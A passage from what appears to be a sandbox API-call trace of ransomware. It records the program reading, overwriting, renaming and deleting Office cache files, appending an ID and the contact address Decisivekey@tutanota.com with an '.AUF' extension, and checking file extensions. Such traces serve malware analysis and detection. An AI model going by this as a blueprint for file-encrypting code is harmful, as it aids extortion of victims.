dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x21c [0213.863] SetFilePointerEx (in: hFile=0x21c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fc6c | out: lpNewFilePointer=0x0) returned 1 [0213.863] SetFilePointerEx (in: hFile=0x21c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fc2c | out: lpNewFilePointer=0x0) returned 1 [0213.863] ReadFile (in: hFile=0x21c, lpBuffer=0x3e50058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x335fc38, lpOverlapped=0x0 | out: lpBuffer=0x3e50058*, lpNumberOfBytesRead=0x335fc38*=0x40000, lpOverlapped=0x0) returned 1 [0213.911] SetFilePointerEx (in: hFile=0x21c, liDistanceToMove=0x8c0955, lpNewFilePointer=0x0, dwMoveMethod=0x335fc2c | out: lpNewFilePointer=0x0) returned 1 [0213.911] ReadFile (in: hFile=0x21c, lpBuffer=0x3e90058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x335fc38, lpOverlapped=0x0 | out: lpBuffer=0x3e90058*, lpNumberOfBytesRead=0x335fc38*=0x40000, lpOverlapped=0x0) returned 1 [0213.935] SetFilePointerEx (in: hFile=0x21c, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x335fc6c | out: lpNewFilePointer=0xffffffff) returned 1 [0213.935] SetFilePointerEx (in: hFile=0x21c, liDistanceToMove=0x1a01c00, lpNewFilePointer=0x0, dwMoveMethod=0x335fc2c | out: lpNewFilePointer=0x0) returned 1 [0213.935] ReadFile (in: hFile=0x21c, lpBuffer=0x3ed0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x335fc38, lpOverlapped=0x0 | out: lpBuffer=0x3ed0058*, lpNumberOfBytesRead=0x335fc38*=0x40000, lpOverlapped=0x0) returned 1 [0213.961] SetFilePointerEx (in: hFile=0x21c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fec8 | out: lpNewFilePointer=0x0) returned 1 [0213.962] WriteFile (in: hFile=0x21c, lpBuffer=0x3e50020*, nNumberOfBytesToWrite=0xc0108, lpNumberOfBytesWritten=0x335fcb0, lpOverlapped=0x0 | out: lpBuffer=0x3e50020*, lpNumberOfBytesWritten=0x335fcb0*=0xc0108, lpOverlapped=0x0) returned 1 [0214.310] SetEndOfFile (hFile=0x21c) returned 1 [0214.310] SetFilePointerEx (in: hFile=0x21c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fc7c | out: lpNewFilePointer=0x0) returned 1 [0214.310] WriteFile (in: hFile=0x21c, lpBuffer=0x4049098*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x335fc88, lpOverlapped=0x0 | out: lpBuffer=0x4049098*, lpNumberOfBytesWritten=0x335fc88*=0x40000, lpOverlapped=0x0) returned 1 [0214.311] SetFilePointerEx (in: hFile=0x21c, liDistanceToMove=0x8c0955, lpNewFilePointer=0x0, dwMoveMethod=0x335fc7c | out: lpNewFilePointer=0x0) returned 1 [0214.311] WriteFile (in: hFile=0x21c, lpBuffer=0x4049098*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x335fc88, lpOverlapped=0x0 | out: lpBuffer=0x4049098*, lpNumberOfBytesWritten=0x335fc88*=0x40000, lpOverlapped=0x0) returned 1 [0214.330] SetFilePointerEx (in: hFile=0x21c, liDistanceToMove=0x1a01c00, lpNewFilePointer=0x0, dwMoveMethod=0x335fc7c | out: lpNewFilePointer=0x0) returned 1 [0214.331] WriteFile (in: hFile=0x21c, lpBuffer=0x4049098*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x335fc88, lpOverlapped=0x0 | out: lpBuffer=0x4049098*, lpNumberOfBytesWritten=0x335fc88*=0x40000, lpOverlapped=0x0) returned 1 [0214.383] CloseHandle (hObject=0x21c) returned 1 [0214.383] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.msi.id-9C354B42.[Decisivekey@tutanota.com].AUF", dwFileAttributes=0x2020) returned 1 [0214.383] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.msi") returned 77 [0214.383] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.msi") returned 77 [0214.383] lstrlenW (lpString=".doc") returned 4 [0214.383] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0214.383] lstrlenW (lpString=".docx") returned 5 [0214.383] lstrcmpiW (lpString1=".docx", lpString2="W.msi") returned -1 [0214.383] lstrlenW (lpString=".pdf") returned 4 [0214.383] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0214.384] lstrlenW (lpString=".xls") returned 4 [0214.384] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0214.384] lstrlenW (lpString=".xlsx") returned 5 [0214.384] lstrcmpiW (lpString1=".xlsx", lpString2="W.msi") returned -1 [0214.384] lstrlenW (lpString=".ppt") returned 4 [0214.384] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0214.384] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.msi") returned 77 [0214.384] lstrlenW (lpString=".zip") returned 4 [0214.384] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0214.384] lstrlenW (lpString=".rar") returned 4 [0214.384] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0214.384] lstrlenW (lpString=".bz2") returned 4 [0214.384] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0214.384] lstrlenW (lpString=".7z") returned 3 [0214.384] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0214.384] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.msi") returned 77 [0214.384] lstrlenW (lpString=".dbf") returned 4 [0214.384] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0214.384] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.msi") returned 77 [0214.384] lstrlenW (lpString=".1cd") returned 4 [0214.384] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0214.384] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.msi") returned 77 [0214.384] lstrlenW (lpString=".jpg") returned 4 [0214.384] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0214.384] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.msi") returned 77 [0214.384] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.msi") returned 77 [0214.384] lstrlenW (lpString=".doc") returned 4 [0214.384] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0214.384] lstrlenW (lpString=".docx") returned 5 [0214.384] lstrcmpiW (lpString1=".docx", lpString2="W.msi") returned -1 [0214.384] lstrlenW (lpString=".pdf") returned 4 [0214.384] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0214.384] lstrlenW (lpString=".xls") returned 4 [0214.384] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0214.384] lstrlenW (lpString=".xlsx") returned 5 [0214.384] lstrcmpiW (lpString1=".xlsx", lpString2="W.msi") returned -1 [0214.384] lstrlenW (lpString=".ppt") returned 4 [0214.384] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0214.384] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.msi") returned 77 [0214.384] lstrlenW (lpString=".zip") returned 4 [0214.384] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0214.384] lstrlenW (lpString=".rar") returned 4 [0214.384] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0214.384] lstrlenW (lpString=".bz2") returned 4 [0214.384] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0214.384] lstrlenW (lpString=".7z") returned 3 [0214.384] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0214.384] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.msi") returned 77 [0214.384] lstrlenW (lpString=".dbf") returned 4 [0214.384] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0214.385] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.msi") returned 77 [0214.385] lstrlenW (lpString=".1cd") returned 4 [0214.385] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0214.385] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPlusrWW.msi") returned 77 [0214.385] lstrlenW (lpString=".jpg") returned 4 [0214.385] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0214.385] lstrcmpiW (lpString1=".cab", lpString2=".AUF") returned 1 [0214.385] lstrlenW (lpString="OWOW32WW.cab") returned 12 [0214.385] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\owow32ww.cab"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0214.558] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x335ff1c | out: lpFileSize=0x335ff1c*=36233052) returned 1 [0214.558] CloseHandle (hObject=0x194) returned 1 [0214.558] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\owow32ww.cab")) returned 0x2020 [0214.558] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\owow32ww.cab.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 0xffffffff [0214.558] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\owow32ww.cab"), lpNewFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\owow32ww.cab.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 1 [0214.559] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\owow32ww.cab.id-9c354b42.[decisivekey@tutanota.com].auf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0214.559] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fc6c | out: lpNewFilePointer=0x0) returned 1 [0214.559] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fc2c | out: lpNewFilePointer=0x0) returned 1 [0214.559] ReadFile (in: hFile=0x194, lpBuffer=0x3e50058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x335fc38, lpOverlapped=0x0 | out: lpBuffer=0x3e50058*, lpNumberOfBytesRead=0x335fc38*=0x40000, lpOverlapped=0x0) returned 1 [0214.735] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0xb84a74, lpNewFilePointer=0x0, dwMoveMethod=0x335fc2c | out: lpNewFilePointer=0x0) returned 1 [0214.735] ReadFile (in: hFile=0x194, lpBuffer=0x3e90058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x335fc38, lpOverlapped=0x0 | out: lpBuffer=0x3e90058*, lpNumberOfBytesRead=0x335fc38*=0x40000, lpOverlapped=0x0) returned 1 [0214.757] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x335fc6c | out: lpNewFilePointer=0xffffffff) returned 1 [0214.757] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x224df5c, lpNewFilePointer=0x0, dwMoveMethod=0x335fc2c | out: lpNewFilePointer=0x0) returned 1 [0214.757] ReadFile (in: hFile=0x194, lpBuffer=0x3ed0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x335fc38, lpOverlapped=0x0 | out: lpBuffer=0x3ed0058*, lpNumberOfBytesRead=0x335fc38*=0x40000, lpOverlapped=0x0) returned 1 [0214.809] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fec8 | out: lpNewFilePointer=0x0) returned 1 [0214.809] WriteFile (in: hFile=0x194, lpBuffer=0x3e50020*, nNumberOfBytesToWrite=0xc0104, lpNumberOfBytesWritten=0x335fcb0, lpOverlapped=0x0 | out: lpBuffer=0x3e50020*, lpNumberOfBytesWritten=0x335fcb0*=0xc0104, lpOverlapped=0x0) returned 1 [0214.822] SetEndOfFile (hFile=0x194) returned 1 [0214.825] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fc7c | out: lpNewFilePointer=0x0) returned 1 [0214.825] WriteFile (in: hFile=0x194, lpBuffer=0x3fa1068*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x335fc88, lpOverlapped=0x0 | out: lpBuffer=0x3fa1068*, lpNumberOfBytesWritten=0x335fc88*=0x40000, lpOverlapped=0x0) returned 1 [0214.826] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0xb84a74, lpNewFilePointer=0x0, dwMoveMethod=0x335fc7c | out: lpNewFilePointer=0x0) returned 1 [0214.826] WriteFile (in: hFile=0x194, lpBuffer=0x3fa1068*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x335fc88, lpOverlapped=0x0 | out: lpBuffer=0x3fa1068*, lpNumberOfBytesWritten=0x335fc88*=0x40000, lpOverlapped=0x0) returned 1 [0214.826] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x224df5c, lpNewFilePointer=0x0, dwMoveMethod=0x335fc7c | out: lpNewFilePointer=0x0) returned 1 [0214.826] WriteFile (in: hFile=0x194, lpBuffer=0x3fa1068*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x335fc88, lpOverlapped=0x0 | out: lpBuffer=0x3fa1068*, lpNumberOfBytesWritten=0x335fc88*=0x40000, lpOverlapped=0x0) returned 1 [0214.828] CloseHandle (hObject=0x194) returned 1 [0214.828] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab.id-9C354B42.[Decisivekey@tutanota.com].AUF", dwFileAttributes=0x2020) returned 1 [0214.915] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab") returned 75 [0214.915] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab") returned 75 [0214.915] lstrlenW (lpString=".doc") returned 4 [0214.915] lstrcmpiW (lpString1=".doc", lpString2=".cab") returned 1 [0214.915] lstrlenW (lpString=".docx") returned 5 [0214.915] lstrcmpiW (lpString1=".docx", lpString2="W.cab") returned -1 [0214.915] lstrlenW (lpString=".pdf") returned 4 [0214.915] lstrcmpiW (lpString1=".pdf", lpString2=".cab") returned 1 [0214.915] lstrlenW (lpString=".xls") returned 4 [0214.915] lstrcmpiW (lpString1=".xls", lpString2=".cab") returned 1 [0214.915] lstrlenW (lpString=".xlsx") returned 5 [0214.915] lstrcmpiW (lpString1=".xlsx", lpString2="W.cab") returned -1 [0214.915] lstrlenW (lpString=".ppt") returned 4 [0214.915] lstrcmpiW (lpString1=".ppt", lpString2=".cab") returned 1 [0214.915] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab") returned 75 [0214.915] lstrlenW (lpString=".zip") returned 4 [0214.915] lstrcmpiW (lpString1=".zip", lpString2=".cab") returned 1 [0214.915] lstrlenW (lpString=".rar") returned 4 [0214.915] lstrcmpiW (lpString1=".rar", lpString2=".cab") returned 1 [0214.915] lstrlenW (lpString=".bz2") returned 4 [0214.915] lstrcmpiW (lpString1=".bz2", lpString2=".cab") returned -1 [0214.915] lstrlenW (lpString=".7z") returned 3 [0214.915] lstrcmpiW (lpString1=".7z", lpString2="cab") returned -1 [0214.916] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab") returned 75 [0214.916] lstrlenW (lpString=".dbf") returned 4 [0214.916] lstrcmpiW (lpString1=".dbf", lpString2=".cab") returned 1 [0214.916] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab") returned 75 [0214.916] lstrlenW (lpString=".1cd") returned 4 [0214.916] lstrcmpiW (lpString1=".1cd", lpString2=".cab") returned -1 [0214.916] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab") returned 75 [0214.916] lstrlenW (lpString=".jpg") returned 4 [0214.916] lstrcmpiW (lpString1=".jpg", lpString2=".cab") returned 1 [0214.916] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab") returned 75 [0214.916] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab") returned 75 [0214.916] lstrlenW (lpString=".doc") returned 4 [0214.916] lstrcmpiW (lpString1=".doc", lpString2=".cab") returned 1 [0214.916] lstrlenW (lpString=".docx") returned 5 [0214.916] lstrcmpiW (lpString1=".docx", lpString2="W.cab") returned -1 [0214.916] lstrlenW (lpString=".pdf") returned 4 [0214.916] lstrcmpiW (lpString1=".pdf", lpString2=".cab") returned 1 [0214.916] lstrlenW (lpString=".xls") returned 4 [0214.916] lstrcmpiW (lpString1=".xls", lpString2=".cab") returned 1 [0214.916] lstrlenW (lpString=".xlsx") returned 5 [0214.916] lstrcmpiW (lpString1=".xlsx", lpString2="W.cab") returned -1 [0214.916] lstrlenW (lpString=".ppt") returned 4 [0214.916] lstrcmpiW (lpString1=".ppt", lpString2=".cab") returned 1 [0214.916] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab") returned 75 [0214.916] lstrlenW (lpString=".zip") returned 4 [0214.916] lstrcmpiW (lpString1=".zip", lpString2=".cab") returned 1 [0214.916] lstrlenW (lpString=".rar") returned 4 [0214.916] lstrcmpiW (lpString1=".rar", lpString2=".cab") returned 1 [0214.916] lstrlenW (lpString=".bz2") returned 4 [0214.916] lstrcmpiW (lpString1=".bz2", lpString2=".cab") returned -1 [0214.916] lstrlenW (lpString=".7z") returned 3 [0214.916] lstrcmpiW (lpString1=".7z", lpString2="cab") returned -1 [0214.916] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab") returned 75 [0214.916] lstrlenW (lpString=".dbf") returned 4 [0214.916] lstrcmpiW (lpString1=".dbf", lpString2=".cab") returned 1 [0214.916] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab") returned 75 [0214.916] lstrlenW (lpString=".1cd") returned 4 [0214.916] lstrcmpiW (lpString1=".1cd", lpString2=".cab") returned -1 [0214.916] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab") returned 75 [0214.916] lstrlenW (lpString=".jpg") returned 4 [0214.916] lstrcmpiW (lpString1=".jpg", lpString2=".cab") returned 1 [0214.916] lstrcmpiW (lpString1=".exe", lpString2=".AUF") returned 1 [0214.916] lstrlenW (lpString="setup.exe") returned 9 [0214.916] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\setup.exe" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\setup.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0214.917] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x335ff1c | out: lpFileSize=0x335ff1c*=1377656) returned 1 [0214.917] CloseHandle (hObject=0x194) returned 1 [0214.917] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\setup.exe" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\setup.exe")) returned 0x2020 [0214.917] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\setup.exe.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\setup.exe.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 0xffffffff [0214.917] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\setup.exe" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\setup.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0214.917] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fec8 | out: lpNewFilePointer=0x0) returned 1 [0214.917] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fec8 | out: lpNewFilePointer=0x0) returned 1 [0214.917] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\setup.exe.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\setup.exe.id-9c354b42.[decisivekey@tutanota.com].auf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0214.918] GetLastError () returned 0x0 [0214.918] ReadFile (in: hFile=0x194, lpBuffer=0x3e50020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x335fed4, lpOverlapped=0x0 | out: lpBuffer=0x3e50020*, lpNumberOfBytesRead=0x335fed4*=0xffff0, lpOverlapped=0x0) returned 1 [0214.951] WriteFile (in: hFile=0x1e4, lpBuffer=0x3e50020*, nNumberOfBytesToWrite=0xffff0, lpNumberOfBytesWritten=0x335fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3e50020*, lpNumberOfBytesWritten=0x335fc9c*=0xffff0, lpOverlapped=0x0) returned 1 [0214.964] ReadFile (in: hFile=0x194, lpBuffer=0x3e50020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x335fed4, lpOverlapped=0x0 | out: lpBuffer=0x3e50020*, lpNumberOfBytesRead=0x335fed4*=0x50588, lpOverlapped=0x0) returned 1 [0215.227] WriteFile (in: hFile=0x1e4, lpBuffer=0x3e50020*, nNumberOfBytesToWrite=0x50590, lpNumberOfBytesWritten=0x335fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3e50020*, lpNumberOfBytesWritten=0x335fc9c*=0x50590, lpOverlapped=0x0) returned 1 [0215.234] ReadFile (in: hFile=0x194, lpBuffer=0x3e50020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x335fed4, lpOverlapped=0x0 | out: lpBuffer=0x3e50020*, lpNumberOfBytesRead=0x335fed4*=0x0, lpOverlapped=0x0) returned 1 [0215.234] WriteFile (in: hFile=0x1e4, lpBuffer=0x3e50020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x335fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3e50020*, lpNumberOfBytesWritten=0x335fc9c*=0xe6, lpOverlapped=0x0) returned 1 [0215.234] SetEndOfFile (hFile=0x1e4) returned 1 [0215.234] CloseHandle (hObject=0x1e4) returned 1 [0215.234] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x335fec8 | out: lpNewFilePointer=0x0) returned 1 [0215.234] SetEndOfFile (hFile=0x194) returned 1 [0215.237] CloseHandle (hObject=0x194) returned 1 [0215.237] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\setup.exe.id-9C354B42.[Decisivekey@tutanota.com].AUF", dwFileAttributes=0x2020) returned 1 [0215.237] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\setup.exe" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\setup.exe")) returned 1 [0215.237] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\setup.exe") returned 72 [0215.237] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\setup.exe") returned 72 [0215.238] lstrlenW (lpString=".doc") returned 4 [0215.238] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1 [0215.238] lstrlenW (lpString=".docx") returned 5 [0215.238] lstrcmpiW (lpString1=".docx", lpString2="p.exe") returned -1 [0215.238] lstrlenW (lpString=".pdf") returned 4 [0215.238] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1 [0215.238] lstrlenW (lpString=".xls") returned 4 [0215.238] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1 [0215.238] lstrlenW (lpString=".xlsx") returned 5 [0215.238] lstrcmpiW (lpString1=".xlsx", lpString2="p.exe") returned -1 [0215.238] lstrlenW (lpString=".ppt") returned 4 [0215.238] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1 [0215.238] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\setup.exe") returned 72 [0215.238] lstrlenW (lpString=".zip") returned 4 [0215.238] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1 [0215.238] lstrlenW (lpString=".rar") returned 4 [0215.238] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1 [0215.238] lstrlenW (lpString=".bz2") returned 4 [0215.238] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1 [0215.238] lstrlenW (lpString=".7z") returned 3 [0215.238] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1 [0215.238] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\setup.exe") returned 72 [0215.238] lstrlenW (lpString=".dbf") returned 4 [0215.238] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1 [0215.238] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\setup.exe") returned 72 [0215.238] lstrlenW (lpString=".1cd") returned 4 [0215.238] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1 [0215.238] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\setup.exe") returned 72 [0215.238] lstrlenW (lpString=".jpg") returned 4 [0215.238] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1 [0215.238] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\setup.exe") returned 72 [0215.238] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\setup.exe") returned 72 [0215.238] lstrlenW (lpString=".doc") returned 4 [0215.238] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1 [0215.238] lstrlenW (lpString=".docx") 